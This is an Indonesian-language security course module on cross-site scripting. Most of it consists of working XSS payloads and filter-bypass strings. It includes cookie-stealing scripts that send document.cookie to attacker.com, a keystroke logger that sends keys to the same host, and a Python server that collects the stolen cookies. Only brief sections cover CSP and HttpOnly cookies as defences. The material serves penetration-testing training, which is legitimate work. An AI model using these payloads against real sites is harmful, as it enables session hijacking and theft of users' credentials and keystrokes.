Module 2: Injection Attacks

Cross-Site Scripting (XSS)

40 menit
Intermediate

Apa itu XSS?

Cross-Site Scripting (XSS) terjadi ketika attacker berhasil menyuntikkan script berbahaya ke dalam halaman web yang kemudian dieksekusi di browser korban. XSS memungkinkan attacker untuk mencuri cookies, mengambil alih sesi, melakukan keylogging, atau melakukan redirect.

Tiga Tipe XSS

1. Reflected XSS

Payload ada di URL/request dan langsung direfleksikan ke response. Tidak tersimpan di server.

<!-- URL vulnerable: https://target.com/search?q=<PAYLOAD> -->
https://target.com/search?q=<script>alert(1)</script>

<!-- Jika response langsung menampilkan: -->
<p>Hasil pencarian untuk: <script>alert(1)</script></p>

Untuk eksploitasi, attacker perlu mengirimkan link berbahaya ke korban.

2. Stored XSS (Persistent XSS)

Payload tersimpan di database server dan dieksekusi setiap kali halaman dimuat. Lebih berbahaya karena tidak butuh user click link khusus.

<!-- Komentar di forum yang menyimpan script: -->
Nama: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- Setiap user yang melihat komentar akan mengirimkan cookie ke attacker -->

3. DOM-Based XSS

Payload tidak pernah ke server — diproses langsung di client-side JavaScript.

// Kode JavaScript yang RENTAN
var search = location.hash.substring(1);
document.getElementById('output').innerHTML = search;

// URL: https://target.com/page#<img src=x onerror=alert(1)>

XSS Payload Dasar

<!-- Basic test -->
<script>alert(1)</script>
<script>alert(document.cookie)</script>

<!-- Jika < > difilter, gunakan event handlers -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

<!-- Tanpa quotes -->
<img src=x onerror=alert`1`>

<!-- Dalam attribute -->
" onmouseover="alert(1)
' onmouseover='alert(1)
javascript:alert(1)

<!-- Bypass filter dengan case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

<!-- Bypass tag filtering -->
<<script>alert(1)//<</script>
<svg><script>alert(1)</script>

<!-- Template literals -->
<script>alert`1`</script>
<!-- Basic cookie stealer -->
<script>
document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)
</script>

<!-- Dengan fetch API (lebih stealth) -->
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie))
</script>

<!-- Menggunakan Image tag (bypass CSP tertentu) -->
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>

<!-- Keylogger sederhana -->
<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/keys?k='+e.key)
}
</script>

Server attacker untuk menerima stolen cookies:

# Simple Python server untuk tangkap request
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        if 'c' in params:
            print(f"[+] COOKIE STOLEN: {params['c'][0]}")
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

XSS Filter Bypass

<!-- Jika <script> diblokir -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>

<!-- Encoding -->
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;
\u003cscript\u003ealert(1)\u003c/script\u003e

<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- JavaScript URL -->
<a href="javascript:alert(1)">Click</a>

<!-- Data URI -->
<iframe src="data:text/html,<script>alert(1)</script>">

<!-- Polyglot payload -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\ x3csVg/<sVg/oNloAd=alert(1)//>\x3e

Content Security Policy (CSP)

CSP adalah header HTTP yang membatasi sumber script yang boleh dieksekusi:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-randomnonce123'
<!-- Script dengan nonce yang valid akan dieksekusi -->
<script nonce="randomnonce123">alert(1)</script>

<!-- Script tanpa nonce diblokir oleh CSP -->
<script>alert(1)</script>

Test CSP bypass:

  • Cari script dengan nonce yang bisa diprediksi
  • Cari whitelist domain yang bisa di-abuse (CDN, JSONP endpoints)
  • JSONP callback injection pada whitelisted domain
  • unsafe-inline atau unsafe-eval dalam policy
Ingat
Flag HttpOnly pada cookie akan mencegah JavaScript mengakses cookie tersebut, sehingga cookie theft melalui XSS tidak bisa dilakukan. Namun XSS masih bisa digunakan untuk aksi lain seperti redirect, form hijacking, atau keylogging.